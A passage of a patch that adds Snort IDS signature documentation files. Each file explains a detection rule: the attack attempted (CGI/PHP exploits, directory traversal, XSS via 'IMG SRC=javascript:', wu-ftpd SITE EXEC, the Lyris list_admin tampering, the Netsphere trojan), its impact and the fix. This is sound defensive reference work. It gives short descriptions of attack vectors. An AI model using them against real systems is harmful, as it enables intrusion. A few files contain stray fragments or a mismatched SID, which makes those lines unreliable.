+Ricky Macatee <rmacatee@sourcefire.com>
+
+-- 
+Additional References:
+
+PestPatrol:
+http://www.pestpatrol.com/PestInfo/A/Asylum.asp
+
+Dark-E:
+http://www.dark-e.com/archive/trojans/asylum/01/index.shtml
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1506.txt
+++ snort-2.8.5.2/doc/signatures/1506.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1506
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1112.txt
+++ snort-2.8.5.2/doc/signatures/1112.txt
@@ -0,0 +1,64 @@
+Rule:  
+
+--
+Sid:
+1112
+
+--
+Summary:
+This event is generated when an attempt is made to execute a directory
+traversal attack.
+
+--
+Impact:
+Information disclosure. This is a directory traversal attempt which can
+lead to information disclosure and possible exposure of sensitive
+system information.
+
+--
+Detailed Information:
+Directory traversal attacks usually target web, web applications and ftp
+servers that do not correctly check the path to a file when requested by
+the client.
+
+This can lead to the disclosure of sensitive system information which may
+be used by an attacker to further compromise the system.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An authorized user or anonymous user can use the directory traversal 
+technique, to browse folders outside the ftp root directory. Information
+gathered may be used in further attacks against the host.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade the software to the latest non-affected version.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/690.txt
+++ snort-2.8.5.2/doc/signatures/690.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+690
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft SQL.
+
+--
+Impact:
+Information gathering and data integrity compromise. Possible unauthorized
+administrative access to the server or application.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to an implementation of Microsoft SQL server or client.  This can
+lead to unauthorized access and possibly escalated privileges to that of 
+the administrator. Data stored on the machine can be compromised and 
+trust relationships between the victim server and other hosts can be 
+exploited by the attacker.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An attacker can access the authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Disallow administrative access from sources external to the protected
+network.
+
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000100.txt
+++ snort-2.8.5.2/doc/signatures/100000100.txt
@@ -0,0 +1,71 @@
+Rule: 
+
+--
+Sid: 
+100000100
+
+-- 
+Summary: 
+This event is generated when a URI of 1,050 bytes ore more is requested from an 
+internal web server.
+
+-- 
+
+Impact: 
+Unknown.
+
+--
+Detailed Information:
+This rule is used in conjunction with SID 100000101 to detect buffer overflow 
+attacks against the Adobe Acrobat/Acrobat Reader ActiveX Control, pdf.ocx. This 
+rule should never generate an alert.
+
+--
+Affected Systems:
+Adobe Acrobat 5.0
+Adobe Acrobat 5.0.5
+Adobe Acrobat 6.0
+Adobe Acrobat 6.0.1
+Adobe Acrobat Reader 5.0
+Adobe Acrobat Reader 5.0.5
+Adobe Acrobat Reader 5.1
+Adobe Acrobat Reader 6.0
+Adobe Acrobat Reader 6.0.1
+
+--
+
+Attack Scenarios: 
+A web browser or automated script may be used to exploit this vulnerability.
+
+-- 
+
+Ease of Attack: 
+Simple, as simply typing a long URI into a web browser will suffice.
+
+-- 
+
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+
+Corrective Action: 
+Upgrade to Adobe Acrobat/Acrobat Reader 6.0.2.
+An alternate workaround is available: disable "Display PDF in browser" under 
+Edit -> Preferences.
+
+--
+Contributors: 
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+
+-- 
+Additional References:
+http://www.adobe.com/support/downloads/thankyou.jsp?ftpID=2589&fileID=2433
+
+--
--- snort-2.8.5.2.orig/doc/signatures/958.txt
+++ snort-2.8.5.2/doc/signatures/958.txt
@@ -0,0 +1,76 @@
+Rule:
+--
+Sid:
+958
+
+--
+
+Summary:
+This event is generated when an attempt is made to access a file with 
+sensitive information on a webserver with Microsoft Frontpage extensions
+enabled.
+
+--
+
+Impact:
+If successful, the attacker can read sensitive data about the Frontpage web.
+
+--
+
+Detailed Information:
+On systems running Microsoft Frontpage Extensions on IIS or Apache web 
+servers the file _vti_pvt/service.cnf exists which may contain sensitive
+information about the web server. This file is meant to be only used 
+internally by FPSE and never directly by the user.
+
+--
+
+Affected Systems:
+	Systems using Microsoft FrontPage Server Extensions 98
+
+--
+
+Attack Scenarios:
+An attacker can request the file from its standard location, entering the exact URL.
+
+--
+
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+
+False Positives:
+None known.
+
+--
+
+False Negatives:
+None known.
+
+--
+
+Corrective Action:
+Disable direct access to the file /_vti_pvt/service.cnf.
+
+--
+
+Contributors:
+Original Rule Writer Unknown
+Snort documentation contributed by Chaos <c@aufbix.org>
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+
+Additional References:
+
+Microsoft:
+http://support.microsoft.com/default.aspx?scid=http://support.microsoft.com:80/support/kb/articles/Q188/2/57.ASP&NoWebContent=1&NoWebContent=1
+
+
+
+
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000793.txt
+++ snort-2.8.5.2/doc/signatures/100000793.txt
@@ -0,0 +1,56 @@
+
+
+Rule:
+
+--
+Sid:
+100000793
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site scripting vulnerability in the "Pivot" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site scripting vulnerability via the "line1" parameter in the "blogroll.php" script used by the "Pivot" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to retrieve sensitive data, execute system binaries or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using Pivot
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2410.txt
+++ snort-2.8.5.2/doc/signatures/2410.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+2410
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a PHP web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a PHP application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the PHP application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running PHP applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying PHP script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/641.txt
+++ snort-2.8.5.2/doc/signatures/641.txt
@@ -0,0 +1,62 @@
+Rule: 
+
+--
+Sid: 641
+
+--
+Summary: 
+This event is generated when a buffer overflow attack is attempted against a target machine.
+
+--
+Impact: 
+Serious. The attacker may be able to gain remote access to the system or have the ability to execute arbitrary code with the privileges of a system user.
+
+
+-- 
+Detailed Information: 
+This rule tracks the bit combination which may occur in network packets aimed at overflowing Digital UNIX network services. The buffer overflow attack attempts to force the vulnerable application to execute  attacker-controlled code in order to gain interactive access or run arbitrary commands on the vulnerable system.
+
+A specific string used during the overflow is application-dependent however, a platform-specific command or code may be present and is detected by this rule.
+
+--
+Attack Scenarios: 
+An attacker launches an overflow exploit against a vulnerable FTP server and gains the ability to start a shell session, thus obtaining interactive access to the target.
+
+--
+Ease of Attack: 
+Simple
+
+
+--
+False Positives: 
+This event may be generated by legitimate traffic to the specified port.
+
+
+-- 
+False Negatives: 
+This event is specific to the shell code defined in the rule.
+Other shell code sequences may not be detected.
+
+--
+Corrective Action: 
+Check the target host for other signs of compromise.
+
+Look for other events concerning the target host.
+
+Apply vendor supplied patches and keep the operating system up to date.
+
+--
+Contributors: 
+Original Rule Writer Unkown
+Snort documentation contributed by Anton Chuvakin <http://www.chuvakin.org>
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS352
+
+--
--- snort-2.8.5.2.orig/doc/signatures/361.txt
+++ snort-2.8.5.2/doc/signatures/361.txt
@@ -0,0 +1,59 @@
+Rule:
+
+--
+Sid:
+361
+
+--
+Summary:
+This event is generated when a remote user executes the SITE EXEC command in a session with an internal FTP server. This may indicate an attempt to exploit a vulnerability in the SITE EXEC command in wu-ftpd version 2.4.1.
+
+--
+Impact:
+Arbitrary code execution, leading to remote root compromise. The attacker must have a valid, non-anonymous FTP account on the server to attempt this exploit. 
+
+--
+Detailed Information:
+A misconfiguration in the pathnames.h configuration file in wu-ftpd 2.4.1 allows users to execute commands from /bin instead of ~username/bin. An attacker with a valid FTP account on the server can exploit this vulnerability to execute arbitrary shell code using the SITE EXEC command.
+
+--
+Affected Systems:
+Servers running Washington University wu-ftpd version 2.4.1 or earlier.
+
+--
+Attack Scenarios:
+An attacker logs into the system using a valid FTP account, and then executes arbitrary shell code to obtain root access to the server.
+
+--
+Ease of Attack:
+Simple. 
+
+--
+False Positives:
+If a legitimate remote user uses the SITE EXEC command, this rule may generate an event.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to a later version of the wu-ftp daemon.
+
+--
+Contributors:
+Original rule writer unknown.
+Sourcefire Research Team
+Sourcefire Technical Publications Team
+Jen Harvey <jennifer.harvey@sourcefire.com>
+
+--
+Additional References:
+
+CVE
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0080
+
+CERT
+http://www.cert.org/advisories/CA-1995-16.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1926.txt
+++ snort-2.8.5.2/doc/signatures/1926.txt
@@ -0,0 +1,58 @@
+Rule:
+
+--
+Sid:
+1926
+
+--
+Summary:
+This event is generated when a request is made to Network File System (NFS) to list all exported file systems and to indicate which clients are permitted to mount each file system.
+
+--
+Impact:
+Information disclosure.  This can allow an attacker to discover exported NFS file systems and client mount permissions.
+
+--
+Detailed Information:
+The mountd Remote Procedure Call (RPC) implements the NFS mount protocol.  When an NFS client requests a mount of an NFS file system, mountd examines the list of exported file systems.  If the NFS client is permitted access to the requested file system, mountd returns a file handle for the requested directory.  An attacker or legitimate NFS client may request a list of exported file systems and client mount permissions.
+
+--
+Affected Systems:
+All systems running NFS.
+
+--
+Attack Scenarios:
+An attacker may attempt to list the exported NFS file systems as a precursor to mounting them to read or change a specific file. 
+
+--
+Ease of Attack:
+Simple.   
+
+--
+False Positives:
+If a legitimate remote user is allowed to list exported NFS file systems, this rule may trigger.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule written by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+http://www.whitehats.com/info/IDS26
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2033.txt
+++ snort-2.8.5.2/doc/signatures/2033.txt
@@ -0,0 +1,85 @@
+Rule:
+
+--
+Sid:
+2033
+
+--
+Summary:
+A request has been made to rpc.ypserv from an external source that 
+should not have access to this service. This may be indicative of an 
+intelligence gathering activity as a prelude to a more serious 
+compromise of system resources.
+
+service against the target host.
+
+--
+Impact:
+Disclosure of sensitive system information to an unauthorized user.
+Possible denial of service.
+
+--
+Detailed Information:
+The rpc.ypserv daemon queries information in the local NIS maps. A 
+response to this query may divulge important information to the user 
+performing the query. This could lead to futher exploitation of 
+resources on the network.
+
+In addition, a vulnerability exists in ypserv on some Linux platforms 
+that could lead to a buffer overflow and root compromise of the target 
+host. This is achieved by making a multitude of requests for a NIS map 
+that does not exist.
+
+--
+Affected Systems:
+Multiple systems running versions of ypserv prior to 2.5.
+
+--
+Attack Scenarios:
+The attacker can craft a malicious request to rpc.ypserv such that 
+valuable information can be returned to the attacker.
+
+In the case of a buffer overflow, the attacker might issue a large 
+therefore, be seen many times.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow all RPC requests from external sources and use a firewall to 
+block access to RPC ports from outside the LAN.
+
+Upgrade ypserv to the latest version.
+
+Use /var/yp/securenets to list the hosts allowed to access this resource
+where appropriate.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/6016
+http://www.securityfocus.com/bid/5914
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-1232
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1043
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1042
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000620.txt
+++ snort-2.8.5.2/doc/signatures/100000620.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000620
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "link_view.php" using a remote file being passed as the 
+"admin_template_path" parameter may indicate that an exploitation attempt has 
+been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the "link_view.php" 
+script used by the "Indexu" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1811.txt
+++ snort-2.8.5.2/doc/signatures/1811.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+1811
+
+--
+Summary:
+This event is generated when a remote user has exploited a flaw in a 
+local SSH server.
+
+--
+Impact:
+Serious
+
+--
+Detailed Information:
+OpenSSH has a flaw in the challenge-response mechanism when configured 
+with either the "PAMAuthenticationViaKbdInt" or the 
+"ChallengeResponseAuthentication" options. This flaw can be exploited by
+a user who is not authenicated and can lead to the attacker obtaining a 
+root shell.
+
+--
+Affected Systems:
+OpenSSH versions 1.2 to 3.3, Solaris 9.0, IBM Linux 
+Affinity Toolkit, and HP HP-UX Secure Shell A.03.10.
+
+--
+Attack Scenarios:
+An attacker can cause the service to restart or hang, leaving the 
+service unavailable to users.
+
+--
+Ease of Attack:
+Simple. Exploit code available.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade to latest version of OpenSSH
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Josh Sakofsky
+
+-- 
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/5093
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2825.txt
+++ snort-2.8.5.2/doc/signatures/2825.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2825
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure validate_flavor_definition
+. This procedure is included in
+sys.dbms_repcat_fla.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2688.txt
+++ snort-2.8.5.2/doc/signatures/2688.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2688
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure enable_receiver_trace
+. This procedure is included in
+sys.dbms_internal_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2931.txt
+++ snort-2.8.5.2/doc/signatures/2931.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+2931
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft Network Dynamic Data Exchange (NetDDE)
+services.
+
+--
+Impact:
+Serious. Execution of arbitrary code with system level privileges
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft NetDDE that may allow an attacker to
+run code of their choosing with system level privileges. A programming
+error in the handling of network messages may give an attacker the
+opportunity to overflow a fixed length buffer by using a specially
+crafted NetDDE message.
+
+This service is not started by default on Microsoft Windows systems, but
+this issue can also be exploited locally in an attempt to escalate
+privileges after a successful attack from an alternate vector.
+
+--
+Affected Systems:
+	Microsoft Windows NT, 2000, 2003, XP, 98 and ME systems.
+
+--
+Attack Scenarios:
+An attacker needs to craft a special NetDDE message in order to overflow
+the affected buffer.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Disable the NetDDE service.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft Security Bulletin MS04-031:
+http://www.microsoft.com/technet/security/bulletin/ms04-031.mspx
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2072.txt
+++ snort-2.8.5.2/doc/signatures/2072.txt
@@ -0,0 +1,72 @@
+Rule:
+
+--
+Sid:
+2072
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in Lyris List Manager.
+
+--
+Impact:
+Unauthorized escalation of user privileges.
+
+--
+Detailed Information:
+Lyris List Manager is a web based mailing list management interface. It 
+is possible for an attacker to gain administrator privileges for mailing
+lists by modifying variables sent to the lyris.pl script.
+
+The variable list_admin is used to identify the user as an 
+administrator, by changing this value from F to T the attacker can 
+identify himself as the mailing list administrator.
+
+--
+Affected Systems:
+	Lyris List Manager 3.0
+	Lyris List Manager 4.0
+
+--
+Attack Scenarios:
+The attacker can save a copy of the HTML interface locally and modify 
+the value of the list_admin variable, then submit the form directly to 
+lyris.pl.
+
+Alternatively the attacker can choose to submit the data in a URI.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Apply the appropriate patches from the vendor.
+
+Upgrade to the latest version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0758
+
+Bugtraq:
+http://www.securityfocus.com/bid/1584
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1667.txt
+++ snort-2.8.5.2/doc/signatures/1667.txt
@@ -0,0 +1,75 @@
+Rule:
+--
+Sid:
+1667
+--
+Summary:
+This event indicates that a cross-site scripting attack using the "img 
+src=javascript" vulnerability is being attempted, or a potential 
+attacker is testing your site to determine if it is vulnerable.
+
+--
+Impact:
+Successful cross-site scripting attacks generally target the users of 
+your web site.   Attackers can potentially gain access to your users 
+cookies or session ids, allowing the attacker to impersonate your 
+user.   They could also set up elaborate fake logon screens to steal 
+user names and passwords.
+
+--
+Detailed Information:
+Whenever a web application accepts input and then uses that input as 
+part of the HTML of a new page without filtering, the application is 
+vulnerable to cross-site scripting.  The traditional means of exploiting
+this is to embed a "<SCRIPT>" tag into the input.   However, as many 
+applications now look for this attack vector, exploitation of the 
+ability to use "IMG SRC=javascript:" to embed javascript without the 
+script tag is becoming more common.
+
+--
+Attack Scenarios:
+The most common avenue of attack is for the attacker to send an HTML 
+formatted email to the victim.  The email will contain a link to a 
+specially crafted URL which contains the exploit.   When the victim 
+clicks on the link, they are directed to the vulnerable web site and the
+attack code is executed by their browser.
+
+--
+Ease of Attack:
+Moderately Easy.  Exploit code exists to automate attacks against users 
+of some widely deployed web applications which are known to be 
+vulnerable.  Finding vulnerabilities in other, including proprietary, 
+web applications is fairly trivial and existing exploit code could 
+easily be modified to take advantage of newly discovered 
+vulnerabilities.
+
+--
+False Positives:
+Web pages that legimately include the "IMG SRC=javascript:" directive 
+could trigger this alert under certain circumstances.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Determine if your web application is actually vulnerable to this 
+attack. If it is and the application is not of your own design, 
+contact the authors or vendor and see if there is a patch or newer 
+version.   If the application is proprietary to you or your company, 
+ensure that it properly validates input.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Snort documentation contributed by Kevin Peuhkurinen
+
+-- 
+Additional References:
+
+iDefense
+http://www.idefense.com/idpapers/XSS.pdf
+
+--
--- snort-2.8.5.2.orig/doc/signatures/176.txt
+++ snort-2.8.5.2/doc/signatures/176.txt
@@ -0,0 +1,95 @@
+Rule:
+
+--
+Sid:
+146
+
+--
+Summary:
+Netsphere is a Trojan Horse offering the attacker access to the victims 
+filesystem, instant messaging clients and some control over peripherals.
+This event is generated when a Netsphere server responds to an attackers
+client.
+
+--
+Impact:
+Compromise of data integrity on the victim host as well as the 
+possibility of rendering the machine temporarily unusable.
+
+--
+Detailed Information:
+This Trojan affects the following operating systems:
+
+	Windows 95
+	Windows 98
+	Windows ME
+
+The Trojan changes system registry settings to add the Netsphere
+sever to programs normally started on boot. Due to the nature of this
+Trojan it is unlikely that the attacker's client IP address has been
+spoofed.
+
+The Trojan also gives the attacker the ability to access the victims 
+filesystem, turn the monitor on and off, control the mouse, access 
+instant messaging applications and render a pentium based machine 
+unusable.
+
+The Trojan is also known to use TCP ports 30100, 30101 and 30102.
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This
+event is indicative of an existing infection being activated. Initial
+compromise can be in the form of a Win32 installation program that may
+use the extension ".jpg" or ".bmp" when delivered via e-mail for
+example.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised.
+Updated virus definition files are essential in detecting this Trojan.
+
+The Trojan server is named NetSphereServer.exe.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+Edit the system registry to remove the extra keys or restore a
+previously known good copy of the registry.
+
+Affected registry keys are:
+
+	HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
+
+Registry keys added are:
+
+	NSSX
+
+Removal of this entry is required.
+
+Delete the file NetSphereServer.exe.
+
+Ending the Trojan process is also necessary. A reboot of the infected
+machine is recommended.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Whitehats arachNIDS
+http://www.whitehats.com/info/IDS76
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2144.txt
+++ snort-2.8.5.2/doc/signatures/2144.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid: 2144
+
+
+--
+Summary:
+This event is generated when an attempt is made to access the cafelog php application. 
+
+--
